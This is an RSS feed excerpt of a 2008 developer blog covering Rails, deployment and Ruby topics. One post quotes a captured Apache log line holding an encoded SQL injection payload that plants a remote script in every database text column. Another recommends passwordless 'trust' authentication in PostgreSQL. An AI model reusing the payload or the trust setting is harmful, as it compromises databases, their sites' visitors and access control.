  <link>https://jch.github.io/posts/2008-10-30-javascript-menus.html
</link>
  <guid>https://jch.github.io/posts/2008-10-30-javascript-menus.html
</guid>
  <pubDate>Thu, 30 Oct 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>One feature we're releasing for this sprint is a quick access menu on
every page for the common day-to-day actions used in Coupa.
Previously, a user would either have to bookmark the common urls they
used, or dig through the cluttered Administration page to find what
they wanted.  For our app, we needed something more expressive than a
simple web navigation because there are simply too many actions for a
user to take.</p>
<p>Before I bore you with all the reasoning and technical mumbo-jumbo,
this is what the final menu looks like.  All the sexiness is provided
by the mad skills of Kyle and David.</p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/coupa_menu.png"><img src="/images/coupa_menu.png" alt="sexy image of menu with tabs and subtabs" style="max-width: 100%;"></a></p>
<p>Our application deals with several different document types.  There
are some common workflows that these documents follow.  The most basic
workflow is for a user to create a Requisition, have that requisition
go through an approval process, create a Purchase Order (PO, in
procurement-speak) from that requisition, and manage Invoices, and
Inventory based on POs.  We took a very Apple approach to organizing
the top-level tabs so that users can think of what <em>document</em> they
want to work with, and then drill down to see what actions are
available on that document type.  Initially, we had action-oriented
tabs, but it was hard and confusing to figure out how to logically
group the submenu items.</p>
<p>Based on who's logged in, there are different tabs, and different
submenus.  If a normal user logs in, all they can see is the Home tab
because all they care about is ordering stuff.  Admins and various
supervisor roles will see different sets of tabs.  To make this
possible, we use a great little Rails plugin called
<a href="http://blueprint.devjavu.com/" rel="nofollow">Blueprint</a> to define the structure of
the menu in Ruby code.  It lets us define a hierarchial menu structure
with ruby blocks.  Very spiffy.</p>
<pre><code>class GlobalMenuStructure &lt; Blueprint::Container
  define do
    node 'menus' do
      menu 'Home' do
        node 'links' do
          link 'Home', :link_to =&gt; { :controller =&gt; 'user', :action =&gt; 'home' }
          # ...
        end
      end

      menu 'Requests' do
        node 'links' do
          link 'Requisitions', :link_to =&gt; { :controller =&gt; 'requisitions', :action =&gt; 'index' }
          # ...
        end
      end

      #...
    end
  end
</code></pre>
<p>Defining the structure in code enables us to generate and tailor a
menu for each specific user.  The hierarchial menu structure also lets
us create a reverse-lookup object to determine which tab should be
highlighted based on the current page's url.</p>
<p>After the menu structure is defined, we looped over the structure and
conditionally spewed out a bunch of unstyled ul's for the menu.  We
chose <a href="http://developer.yahoo.com/yui/menu/" rel="nofollow">YUI Menu</a> to give us
cross-browser hover effects and actions on the menus.  YUI lets you
define a menu either in HTML markup or in javascript.  Theoretically
we would get slightly faster performance if we created the menu's in
javascript, but it was easier to do styling and extra features if we
defined it in markup.  Note that doing it in markup leaves users
without javascript with an equally unusable app because the unhidden
and unstyled submenus would cover everything else.  YUI also allows
you to trap for keypresses so you could implement keyboard shortcuts
if you wanted.</p>
<p>I don't recommend these super deep and complex menus for webapps,
because it ends up making the webapp feel more like a desktop app.  At
the same time, web menus are never as good as native desktop menus, so
it ends up looking half-assed.  The Coupa menus are definitely the
best solution for the problem though.  If we didn't have menus, we'd
still be control-f'ing for that link we wanted.</p>
  ]]></description>
</item>

<item>
  <title>Hacking Live Systems</title>
  <link>https://jch.github.io/posts/2008-10-24-hacking-live-systems.html
</link>
  <guid>https://jch.github.io/posts/2008-10-24-hacking-live-systems.html
</guid>
  <pubDate>Fri, 24 Oct 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>After my evening jog, I hopped onto the QA environment around 11pm
because I wanted to look something up for another blog post I was
writing.  Instead of being greeted with the welcome screen of the app,
I get redirected to our homepage.  All kinds of warning flags were
going off in my head, but I couldn't collect my thoughts because of
the runner high.  Did I break something before I left work?  Did I
forget to deploy the latest code base to QA?  Were we going to lose a
night of quality QA from the team in India?</p>
<p>My fears were confirmed when I signed on to chat.  Kyle was online.
Kyle is <em>never</em> online this late.  I shoot him a quick message, "can
you reach devtrunk?".  Just as I hit return, I get a message from
Minh, "did you change the deploy stuff?".  QA in India had nothing to
test on.  Things were looking grim.</p>
<p>Deep breath, and go!</p>
<p>Do a fresh deploy.  Interesting, the deployment went through without a
hiccup.</p>
<p>SSH into the QA box, look at the Apache logs.  Interesting, Apache's
down.  Let's bring her back up.</p>
<p>Hit the page.  Interesting, still getting redirected.  Must be a bad
config.</p>
<p>Scan through httpd.conf, scan through the included vhosts.
Interesting, they all look ok...</p>
<p>WAIT!  There's no vhost defined for devtrunk, the QA environment.  But
I saw it earlier today...  Let's find an old working config and put
that guy in for now.</p>
<p>Reloading Apache...</p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/devtrunk-lives.png"><img src="/images/devtrunk-lives.png" alt="devtrunk lives!" style="max-width: 100%;"></a></p>
<p>I have never been happier to see Domo-kun.</p>
<p>It's funny when these situations come up.  Programmers go into this
'turbo' mode.  They start typing really fast, fixing and breaking
things left and right.  This surge of energy can't be sustained for a
long period of time, so it's really important that they both diagnose
and fix the problem before they burn out.  I left out all the details
in my description for the solution, but they involved a lot of window
switching, poorly typed out IM messages, and a lot of keystrokes.</p>
<p>Man, what a rush.  I'm not sure what gave me more of a workout, a 45
minute hour run, or typing frantically while figeting my leg.</p>
  ]]></description>
</item>

<item>
  <title>Where to Find Things in Rails</title>
  <link>https://jch.github.io/posts/2008-10-13-where-to-find-things-in-rails.html
</link>
  <guid>https://jch.github.io/posts/2008-10-13-where-to-find-things-in-rails.html
</guid>
  <pubDate>Mon, 13 Oct 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>When I started learning Rails, I was amazed when all kinds of magical
things started working.  The problem was that I never felt in control
of the magic.  If I wanted a specific kind of magic to occur, then
Google would route me to an extremely unfriendly and near worthless
Ruby on Rails wiki.  I often had to guess how things work by tweaking
code found on peoples' blogs or by trial and error after not
understanding the Rails API documentation.  Nowadays, I'm very
comfortable with getting around in Rails and all it's plugins.  Here's
how I go about hunting down a problem.</p>
<p>When a bit of magic goes wrong, here's the order of how I look for
things:</p>
<ul>
<li>Search within the current file for the method definition.</li>
<li>Search Google to see if it's a documented Rails feature.</li>
<li>Search Google to see if it's a common Rails-y idiom.</li>
<li>
<a href="http://petdance.com/ack/" rel="nofollow">ack</a> for the method name in the apps/
subdirectory and see how it's used elsewhere.</li>
<li>Search for include statements that could have mixed it into this
file only.</li>
<li>Skim config/environment.rb and/or config/initializers (Rails 2.x)
for potential mixins.</li>
<li>ack the method in vendor/plugins to see if it came from a plugin.</li>
</ul>
<p>Sometimes, I'm not so lucky and the method name is dynamically
generated.  For cases like these, I just ack for some substring of the
method that I see being used by other files.</p>
<p>The checklist I outlined is far from a complete list of where I look
for mystical Rails problems.  This list is also not always in order
either.  At some point, I just became good at deciding where to start
looking.  Part of that skill comes from practice, but it really helps
to encourage your sense of curiosity and dig into the code as well.  I
find myself reading Rails code and plugins code even when I understand
the documentation.  Reading the source has taught me all kinds of
Ruby idioms and deepened my understanding of certain libraries.</p>
<p>If you're coming from a language or framework that has fantastic and
comprehensive documentation, don't forget to read the source every now
and then.  Even with complete documentation, it's important to keep up
with your framework and language's community to maximize what they can
do.</p>
  ]]></description>
</item>

<item>
  <title>Coupa and Rails 2</title>
  <link>https://jch.github.io/posts/2008-09-16-coupa-and-rails2.html
</link>
  <guid>https://jch.github.io/posts/2008-09-16-coupa-and-rails2.html
</guid>
  <pubDate>Tue, 16 Sep 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Joy and churchbells this morning here in sunny San Mateo!  David
smacked down Rails 1.2.3 with a heavy hand and replaced it with the
newer and shinier Rails 2.1.1.  Here's what's rocking and
not-so-rocking with the upgrade.</p>
<p>For starters, the upgrade was completely painless from my
perspective.  It was really as easy as:</p>
<pre><code>sudo gem install rails  # to update rails to 2.1.1
svn up
</code></pre>
<p>That's it!  script/server started up fine, and all was happy...  Until
I logged in.  Then I was confronted with the not-so-friendly
exception:</p>
<pre><code>ActionController::RenderError (You called render with invalid options : {:layout=&gt;false, :action=&gt;"cloud_portlet"}, nil):
/Library/Ruby/Gems/1.8/gems/actionpack-2.1.1/lib/action_controller/base.rb:847:in `render_with_no_layout'
/Library/Ruby/Gems/1.8/gems/actionpack-2.1.1/lib/action_controller/layout.rb:260:in `render_without_benchmark'
/Library/Ruby/Gems/1.8/gems/actionpack-2.1.1/lib/action_controller/benchmarking.rb:51:in `footnotes_original_render'
/Library/Ruby/Gems/1.8/gems/activesupport-2.1.1/lib/active_support/core_ext/benchmark.rb:8:in `realtime'
/Library/Ruby/Gems/1.8/gems/actionpack-2.1.1/lib/action_controller/benchmarking.rb:51:in `footnotes_original_render'
/vendor/plugins/footnotes/lib/textmate_initialize.rb:12:in `render'
</code></pre>
<p>It turns out the old Textmate footnotes plugin doesn't play well with
new Rails.  A simple <code>svn rm</code> and we were on our way.</p>
<p>Unfortunately, Textmate wasn't the only broken plugin.</p>
<div class="markdown-heading"><h2 class="heading-element">ScopedAccess and named_scope</h2><a id="user-content-scopedaccess-and-named_scope" class="anchor" aria-label="Permalink: ScopedAccess and named_scope" href="#scopedaccess-and-named_scope"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p><a href="http://agilewebdevelopment.com/plugins/scoped_access" rel="nofollow">ScopedAccess</a>
was also broken.  ScopedAccess allowed us to impose conditions on
ActiveRecord finders in our controllers.  For example, to show only
budget adjustments made on a specific budget, I had the following
ScopedAccess filter defined on the budgets controller.</p>
<pre><code>around_filter ScopedAccess::Filter.new(BudgetLineAdjustment,
  Proc.new { |controller|
    { :find =&gt; { :conditions =&gt; ['budget_line_id = ?', controller.params[:id]] } }
  }),
  :only =&gt; [:show, :show_owned ]
</code></pre>
<p>This filter wraps around the <code>:show</code> and
<code>:show_owned</code> action.  Whenever <code>find</code> is called
on BudgetLineAdjustment, the <code>:conditions</code> hash it passed
in with the finder.  This worked pretty well and I didn't think it
breached MVC design.</p>
<p>Arguably, it's the model's job to limit and filter what's accessible.
That's exactly what Rails 2.x does.  We've refactored our
ScopedAccesses with
<a href="http://api.rubyonrails.org/classes/ActiveRecord/NamedScope/ClassMethods.html#M001246" rel="nofollow">named_scope</a>
at the model layer.  The above example now lives in
BudgetLineAdjustment:</p>
<pre><code>class BudgetLineAdjustment
  named_scope :for_budget_line,
              lambda { |budget_line|
                { :conditions =&gt; ['budget_line_id = ?', budget_line.id] }
              }
  # ... snip
end
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Engines</h2><a id="user-content-engines" class="anchor" aria-label="Permalink: Engines" href="#engines"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Initially, we didn't plan on switching to Rails 2 this sprint.  The
original plan was to scrap <a href="http://rails-engines.org/" rel="nofollow">LoginEngine and
UserEngine</a> from the project to <em>prepare</em>
to migrate to Rails 2.  Replacing Engines just a tedious scan through
all the Engine code we used and selectively copying over the code that
we wanted to keep.  Initially I thought that I would have a hell of a
time migrating this to fit with restful_authentication, but it wasn't
bad and I removed <em>tons</em> of code.</p>
<div class="markdown-heading"><h2 class="heading-element">Views</h2><a id="user-content-views" class="anchor" aria-label="Permalink: Views" href="#views"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Cosmetically, we renamed all the views to be suffixed
with .html.erb rather than .rhtml.</p>
<div class="markdown-heading"><h2 class="heading-element">Riding on Rails (2)</h2><a id="user-content-riding-on-rails-2" class="anchor" aria-label="Permalink: Riding on Rails (2)" href="#riding-on-rails-2"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Migrating to Rails 2 was a straight forward project.  It didn't
require any new design.  We just had to make sure that whatever was
working before continued to work after the migration.  I'm super
thankful that we decided to tackle this project early in our sprint
because it gave up plenty of time to catch small silly things.  There
were plenty benefits to migrating to Rails 2.  We could remove a lot
of the backports of Rails 2 features that we had previously kept in
lib/rails_extensions.rb.  The whole system felt a bit snappier,
especially in development.  The development logs were actually useful
again because they weren't fill with deprecation warnings and noise
from the Engines code.  This is what it must feel like to be the cool
kid on the block.</p>
  ]]></description>
</item>

<item>
  <title>Week of Insomnia</title>
  <link>https://jch.github.io/posts/2008-08-17-week-of-insomnia.html
</link>
  <guid>https://jch.github.io/posts/2008-08-17-week-of-insomnia.html
</guid>
  <pubDate>Sun, 17 Aug 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Contrary to what you might think, I think insomnia's fantastic.  It
puts me in this limbo state where my mind feels like lead and I suck
at <em>almost</em> everything.  One thing I've found myself to be quite good
at is catching up on Internet.  There was plenty of crap, but I found
a lot of good technical stuff.</p>
<p>For starters, I subscribed to a bunch of new blogs:</p>
<ul>
<li>
<a href="http://www.railsgarden.com" rel="nofollow">Rails Garden</a> - he had a <a href="http://www.railsgarden.com/2008/04/01/ruby-on-rails-is-going-down-introducing-cobol-on-cogs/trackback/" rel="nofollow">fun
entry</a>
on <a href="http://www.coboloncogs.org/" rel="nofollow">Cobol On Cogs</a>.  I love the
functional function keys.</li>
<li>
<a href="http://blog.jayfields.com/2007/10/rails-rise-fall-and-potential-rebirth.html" rel="nofollow">Jay Fields'
Thoughts</a> - I
forget where I initially heard about the Presenter pattern,
but all the Ruby references to Presenter link to this guy.  Once
you've read and understood the purpose of Presenter, then
<a href="http://jamesgolick.com/2008/7/28/introducing-activepresenter-the-presenter-library-you-already-know" rel="nofollow">ActivePresenter</a>
is an implementation with a very clean declarative syntax.</li>
<li>
<a href="http://railsenvy.com/" rel="nofollow">Rails Envy</a> - I knew of them before as
the funny Ruby on Rails <a href="http://railsenvy.com/tags/Commercials" rel="nofollow">commercials
duo</a>.  I noticed they had
a podcast, so I started listening to that when I go running.</li>
<li>
<a href="http://blog.stackoverflow.com/" rel="nofollow">Stack Overflow</a> - I also
started listening to Stack Overflow.  It's not running music,
but it's pretty darn entertaining.</li>
</ul>
<p>I played with Google Analytics a bit, and noticed a fun bit in my
Apache access logs:</p>
<pre>81.164.83.227 - - [17/Aug/2008:15:32:31 +0000] "GET
/?;DeCLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661
726368617228323535292C40432076617263686172283430303029204445434C4152452
05461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E61
6D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D
6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752
720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622
E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C6
55F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736
F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302
920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B
40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C7363726970742073
72633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223
E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6
520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F77777
7332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27
2727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2
040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F434
15445205461626C655F437572736F72%20AS%20CHAR(4000));ExEC(@S);
HTTP/1.1" 200 61318 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
5.1; .NET CLR 1.1.4322)"
</pre>
<p>I also had a blast playing with <a href="http://jquery.com/" rel="nofollow">jQuery</a>.  The
docs were clear and well organized.  All the selectors were exactly
what I wanted.  It was easy to chain together what I wanted to do
because of the methods return jQuery objects.  The callbacks were also
intuitive and easy to manipulate... even for a Javascript newbie.</p>
<p>Another library which I fell in love with at first site was
<a href="http://railstips.org/2008/7/29/it-s-an-httparty-and-everyone-is-invited" rel="nofollow">HTTParty</a>.
It really brings me back to my Perl screen scrapping days. (Oh!
WWW::Mechanize) It also linked me to the <a href="http://www.programmableweb.com/apis/directory/" rel="nofollow">Programmable
Web</a> homepage.  I
didn't really read through what's available, but this is going to be a
great place to prototype mashups.</p>
<p>Seeing all this good stuff made me look for an excuse to write
something to solidify the basics in my head.  The result is a
half-assed mish-mash of Javascript and Ruby ala jQuery and Merb.  I
used Merb instead of Rails because I was too lazy to create a
database.  Surprisingly enough, <a href="http://www.modrails.com/documentation/Users%20guide%202.0.html#_merb" rel="nofollow">Passenger supports
Merb</a>
just fine.  I looked at some of the other lighter Ruby web frameworks,
and they were all pretty fun.  I noted that the new
<a href="http://www.whatcodecraves.com/posts/2008/08/06/flaco_crusher/" rel="nofollow">Webgen</a>
installed <a href="http://ramaze.net/" rel="nofollow">Ramaze</a> as a dependency.  Check it out
if you're <a href="http://hyphy.whatcodecraves.com/" rel="nofollow">feeling hyphy</a>.</p>
<p>

</p>
<p>(Disclaimer: This is an inside joke that just won't die)</p>
<p>Speaking of Passenger, the new Railscast <a href="http://railscasts.com/episodes/122-passenger-in-development" rel="nofollow">episode about
Passenger</a>
along with <a href="http://nubyonrails.com/articles/ask-your-doctor-about-mod_rails" rel="nofollow">nuby on rails'
article</a>
about rstakeout might finally provide a solution to prevent me from
having to restart my server in development whenever I edit a plugin or
a file in the lib directory.  It also clued me into a whole world of
Ruby monitoring systems, the funniest named one being
<a href="http://god.rubyforge.org/" rel="nofollow">God</a>.</p>
<p>I worked a bunch on migrating this blog over to use Webgen.  I'd say
that I'm about 60 or 70 percent of the way there.  I spent most of the
time just reading and enjoying how simple and clear the code was.  I
think I have a good enough grip on enough code that I'd like to write
a few extensions so that I can continue to publish this blog without
any changes to the previous articles I wrote.</p>
<p>I think there was even more <em>stuff</em> I wanted to keep in my head.
Unforunately, a real downside of insomnia is having some, if not most,
of the good stuff leak out.</p>
  ]]></description>
</item>

<item>
  <title>Mini-apps Galore!</title>
  <link>https://jch.github.io/posts/2008-08-13-mini-apps-galore.html
</link>
  <guid>https://jch.github.io/posts/2008-08-13-mini-apps-galore.html
</guid>
  <pubDate>Wed, 13 Aug 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>I'm warming up to the idea of using small webapps that do <em>less</em>.
Instead of full blown behemoth applications that take a lot of time to
learn and configure, they're more in the spirit of Unix tools or perl
one-liners.  Here's three that I came across that show quite a bit of
promise.</p>
<div class="markdown-heading"><h2 class="heading-element">Hoptoad</h2><a id="user-content-hoptoad" class="anchor" aria-label="Permalink: Hoptoad" href="#hoptoad"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<a href="/images/hoptoadapp.png">
   <img src="/images/hoptoadapp-thumb.png" alt="hoptoad main page with a listing of unresolved exceptions from my application" style="max-width: 100%;">
</a>
<p>Think of Hoptoad as a beautiful and functional wrapper around
<a href="http://agilewebdevelopment.com/plugins/exception_notifier" rel="nofollow">exception
notifier</a>.
Only rather than installing exception notifier per application,
Hoptoad is a single stop for all your broken app needs.  Setup is as
simple as installing the Hoptoad plugin, adding 4 lines to your app,
and running a rake task.  After this, you can access your exceptions
in Hoptoad's simple web interface, or subscribe to the provided RSS
feeds.  Each exception gets a summary view, some environment context,
and a full backtrace.  If you wanted to munge on that exception data
some more, they include an
<a href="http://whatcodecraves.hoptoadapp.com/pages/api" rel="nofollow">API</a> to access the
site.</p>
<div class="markdown-heading"><h2 class="heading-element">PingMyMap</h2><a id="user-content-pingmymap" class="anchor" aria-label="Permalink: PingMyMap" href="#pingmymap"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<a href="/images/pingmymap.png">
  <img src="/images/pingmymap-thumb.png" alt="listing of what sites pingmymap sent my sitemap to" style="max-width: 100%;">
</a>
<p>I came across PingMyMap when I was cleaning up my sitemap generator.
At the time I only used Google's <a href="https://www.google.com/webmasters/tools/docs/en/sitemap-generator.html" rel="nofollow">python sitemap
generator</a>.
I'm not hell-bent on SEO, but I figured it wouldn't hurt for people to
be able to find my site if it actually helps them.  PingMyMap doesn't
offer any tips or tools for optimizing your site.  For an app that
deals with <a href="http://www.sitemaps.org/" rel="nofollow">sitemaps</a>, it doesn't even offer
you a tool to generate a sitemap!  Instead all this mini app does is
take an existing sitemap and send it off to 5 search engines that it
knows about.  It provides an
<a href="http://pingmymap.com/documentation/#api" rel="nofollow">API</a> for you to post the
actual sitemap, and then it'll tell you whether it was successful or
not in submitting your sitemap to those search engines.</p>
<div class="markdown-heading"><h2 class="heading-element">Disqus</h2><a id="user-content-disqus" class="anchor" aria-label="Permalink: Disqus" href="#disqus"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<a href="/images/disqus.png">
  <img src="/images/disqus-thumb.png" alt="disqus showing list of comments for this blog article" style="max-width: 100%;">
</a>
<p>To play with Disqus, simply post a comment to this blog article :).
Like the other two examples above, Disqus offloads the common tasks of
'comments' into a shared webapp.  You can manage comments you get from
multiples sites.  It also offers integration with existing popular
blog engines.  Unlike the others, Disqus also holds some of your data.
This eases management of that data, but at the cost of losing control
of your own data.  One of the main reasons I enjoyed using Blogger was
that it allowed me the option to store my own data on my own server.
One of the main reasons why I disliked Blogger was that functionality
wasn't always guaranteed.  Disqus shows promise because they also
<em>plan</em> on having APIs for accessing their app, but only time can show
if this one's a keeper.</p>
<p>For the record, I had the exact same idea for a webapp like Disqus for
a long time.  I even spent an evening a few days ago prototyping out a
super raw version.  My raw version let you do all kinds of crazy
stuff... including XSS attacks, off-site AJAX calls, and SQL injection
attacks :)</p>
<div class="markdown-heading"><h2 class="heading-element">Wrap up</h2><a id="user-content-wrap-up" class="anchor" aria-label="Permalink: Wrap up" href="#wrap-up"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Even though these 3 apps do very different things, they all share a
very similar <em>feel</em>.  They don't try to do everything, they're simple
to setup, and best of all, they're extendable and hackable through
their APIs.  It might not be the kind of extensibility that a
full-blown open source project provides, but with the shallow learning
curve, it's the <em>right</em> amount of extensibility to get stuff done.</p>
  ]]></description>
</item>

<item>
  <title>Picking at Capistrano</title>
  <link>https://jch.github.io/posts/2008-08-12-picking-at-capistrano.html
</link>
  <guid>https://jch.github.io/posts/2008-08-12-picking-at-capistrano.html
</guid>
  <pubDate>Tue, 12 Aug 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Here is the setup I wanted with <a href="http://www.capify.org/" rel="nofollow">Capistrano</a>
with my <a href="http://housing.whatcodecraves.com/" rel="nofollow">housing app</a>.  I wanted
to develop locally and continue using Subversion over SSH for source
control.  Meanwhile, Cap would run svn commands remotely with
basic svnserve.  My first configuration looked like this:</p>
<pre><code>set :repository, "file:///var/svn/#{application}/trunk"
set :user, "myuser"
</code></pre>
<p>My reasoning was that cap would first ssh to my server, and then run</p>
<pre><code>svn checkout file:///var/svn/housing/trunk /path/to/deploy
</code></pre>
<p>Since I use a private key to authenticate to my server, I wouldn't
need to type my password to start the initial ssh connection, and cap
wouldn't need a password to access the repository because it would
execute commands on the remote server with "file:///"</p>
<p>It turns out that SCM commands are run locally rather than remotely.
The implication is that my ":repository" variable has to be accessible
both locally and remotely.  With ":repository" set to "file:///" cap
tried to determine the revision number by running 'svn info' locally.
Of course, this failed miserably because the repository existed on the
remote server.</p>
<p>Once I figured this out, I thought it'd be a simple matter of changing
the config to say:</p>
<pre><code>set :repository, "svn+ssh://whatcodecraves.com/var/svn/#{application}/trunk"
</code></pre>
<p>Now cap will happily run svn locally because it'll work over
"svn+ssh://".  Unfortunately, this also had a huge flaw.  When cap
tries to run the checkout command remotely, it'll use "svn+ssh://".
But because my private key isn't stored on the server, cap will give
three feeble attempts before croaking:</p>
<pre><code>** [208.53.44.43 :: err] Permission denied, please try again.
** [208.53.44.43 :: err] Permission denied, please try again.
** [208.53.44.43 :: err] Permission denied (publickey,password).
** [208.53.44.43 :: err] svn: Connection closed unexpectedly
</code></pre>
<p>What's weird about this is that I didn't ask cap to use public key
authentication, but it didn't give me any choice in the matter!
Crawling the internet yielded a lot of noise about poorly configured
repositories or basic explanations about public key authentication.
Finally, I came across <a href="http://groups.google.com/group/capistrano/browse_thread/thread/13b029f75b61c09d/3746185353022cc7?lnk=gst&amp;q=Permission+denied+(publickey%2Cpassword)#3746185353022cc7" rel="nofollow">a
response</a>
in Capistrano's google group.  The fix is damn short:</p>
<pre><code> default_run_options[:pty] = true
</code></pre>
<p>I looked up what a <a href="http://en.wikipedia.org/wiki/Pseudo_terminal" rel="nofollow">pseudo
terminal</a>.  I don't
really see why this provides a fix, but my guess is that setting pty
to true creates a new process separate from the original ssh process.
Running svn within this new process would default to password
authentication after failing to use public key authentication.</p>
<p>This turned out to be an amazing pain to setup.  But it did let me
step through some of the Capistrano code and appreciate what goes on
under the hood.  It also teaches me to search their <a href="http://groups.google.com/group/capistrano" rel="nofollow">google
group</a> rather than doing a
general web search.</p>
  ]]></description>
</item>

<item>
  <title>Tweaking Apache with Phusion Passenger</title>
  <link>https://jch.github.io/posts/2008-08-11-tweaking-apache-with-phusion-passenger.html
</link>
  <guid>https://jch.github.io/posts/2008-08-11-tweaking-apache-with-phusion-passenger.html
</guid>
  <pubDate>Mon, 11 Aug 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Carrying over from weekend cleanup, I started exploring the different
deployment options available.  Here are some bleak notes as I go
along:</p>
<p><a href="http://www.modrails.com/documentation.html" rel="nofollow">Phusion Passenger</a>.
Tried this one with Apache 2 and mpm-prefork instead of mpm-worker
since mpm-worker was chewing through my 256mb of ram too quickly.
Using Passenger with normal Ruby was easy enough.  It really simplied
what needed to be defined in the vhost.  Using Passenger with their
recommended 'enterprise' Ruby was simply a nightmare.  Trying to
restart Apache with PassengerRuby set to enterprise ruby's path had
load path issues.  Even after hacking up the file that was whining
with liberal amounts of load path unshifting, it still acted funny.
Also, it clutters up your system with basically a whole new branch of
ruby: gems, irb, ruby, you name it.  The last bit of annoynance was
that the deb they provide had a broken uninstaller, so I had to
manually remove /opt when I was purging it.</p>
  ]]></description>
</item>

<item>
  <title>Debian/Ubuntu Specific Rails with Postgresql</title>
  <link>https://jch.github.io/posts/2008-08-10-debian-ubuntu-specific-rails-with-postgresql.html
</link>
  <guid>https://jch.github.io/posts/2008-08-10-debian-ubuntu-specific-rails-with-postgresql.html
</guid>
  <pubDate>Sun, 10 Aug 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>I spent the weekend migrating from my shared hosting at Dreamhost over
to VPS hosting at <a href="http://www.silverrack.com/" rel="nofollow">SilverRack</a>.  In the
move, I setup my housing app to run on postgresql instead of mysql.  I
was in for a few surprises though.</p>
<p>When I ran db:migrate, I got a strange error:</p>
<pre><code> rake aborted!
 No such file or directory - /tmp/.s.PGSQL.5432
</code></pre>
<p>At first I thought it was because postgres wasn't started, but that
didn't make sense because I had another terminal with psql running
just fine.  If you follow the --trace message, you'll find that the
most poorly named option in database.yml will fix this problem:</p>
<pre><code> production:
   adapter: postgresql
   # ... other stuff
   host: /var/run/postgresql
</code></pre>
<p>The 'host' parameter is the directory Rails looks in to get the tmp
file to determine how to connect to postgres.  I guess in other *nix
systems this is conventionally in tmp, but that's not true for Debian
based distros.</p>
<p>After fixing that, I ran into another little problem:</p>
<pre><code>psql: FATAL:  Ident authentication failed for user "xxx"
</code></pre>
<p>This one comes as a result of good defaults by the Debian postgresql
configs.  A <a href="http://semweb.weblog.ub.rug.nl/node/61" rel="nofollow">quick google</a>
solved this one:</p>
<pre><code># add to pg_hba.conf, found in /etc/postgresql/...
local    all   all   trust
host     all   127.0.0.1  255.255.255.255    trust
</code></pre>
<p>For a cheatsheet of setting up a Rails project with Postgresql, check
out <a href="/articles/2008/02/05/setup_rails_with_postgresql/">this guide I wrote a while
back</a>.</p>
  ]]></description>
</item>

<item>
  <title>Messy Ruby Requires</title>
  <link>https://jch.github.io/posts/2008-08-07-messy-ruby-requires.html
</link>
  <guid>https://jch.github.io/posts/2008-08-07-messy-ruby-requires.html
</guid>
  <pubDate>Thu, 07 Aug 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>At some point in tinkering with a language, you outgrow simple scripts
and want to organize your code into separate modules that live in
separate files.  It's just this little OCD code habit you develop.
Since I've only been using Ruby with Rails up till now, loading and
importing the correct library files have been completely hidden away
by Rails convention and magic.  Everytime I want to use a library
named 'acts_as_giraffe', I either A) assumed it was loaded already, or
B) do <tt>require 'acts_as_giraffe'</tt>.  But the real world's not
so easy.</p>
<p>Like other languages, Ruby has a concept of a load-path where it'll
search for .rb files to require.  To see what this defaults to, run
the following:</p>
<pre><code>ruby -e 'puts $LOAD_PATH'
</code></pre>
<p>The shorter, perlish version is to use $: instead of $LOAD_PATH.  This
variable is just an array of directory names to search when require is
called.  To add or remove load paths, just mutate the list with shift
and unshift.  To see what Rails magic provides you, go to a Rails
project, and run <tt>script/console</tt> and print $:</p>
<p>Amazing isn't it?  For my housing project that uses Edge Rails, I see
that the precendence for loading libraries is something along the
lines of:</p>
<ul>
<li>vendor/gems</li>
<li>current directory</li>
<li>system ruby libraries</li>
<li>system ruby</li>
<li>gems</li>
<li>vendor/rails</li>
<li>vendor/plugins</li>
<li>app/models</li>
<li>app/controllers</li>
<li>app/views</li>
</ul>
<p>This is a much longer list of paths to look for a library
compared to the first run I did on the command line.</p>
<p>What I like about this magic is that it keeps most of my code clear
from hardcoded or semi-hardcoded absolute paths like the following:</p>
<pre><code>require File.expand_path(File.dirname(__FILE__) + "/../config/environment")
</code></pre>
<p>The <a href="http://blog.8thlight.com/articles/2007/10/08/micahs-general-guidelines-on-ruby-require" rel="nofollow">first hit on
google</a>
about the topic is a pretty good explanation of the problem.  I agree
that a single giant 'require farm' is hard to unmaintain and pretty
unsightly, but I do think that small require farms that are associated
with specific modules and directories are a good way to organize.  For
example, if I had a library called 'obfuscator' that lives in many
separate files:</p>
<pre><code>obfuscator/
  crypt.rb
  cram.rb
  barf.rb
</code></pre>
<p>I'd add an 'obfuscator.rb' file that globed all the rb files and
required them:</p>
